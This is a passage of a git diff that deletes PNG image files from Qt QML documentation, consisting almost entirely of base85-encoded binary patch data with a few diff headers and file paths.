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 Uo6YRl%>V!Z07*qoM6N<$f-?MSVE_OC diff --git a/src/qml/doc/images/gridview-layout-toptobottom-rtl-ttb.png b/src/qml/doc/images/gridview-layout-toptobottom-rtl-ttb.png deleted file mode 100644 index c1c353a4da011500411947249a318a7573e10ed4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7657 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 diff --git a/src/qml/doc/images/gridview-simple.png b/src/qml/doc/images/gridview-simple.png deleted file mode 100644 index a102939f2bbbf13944ba6c7a9a3f60ab27d9d024..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 10149 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 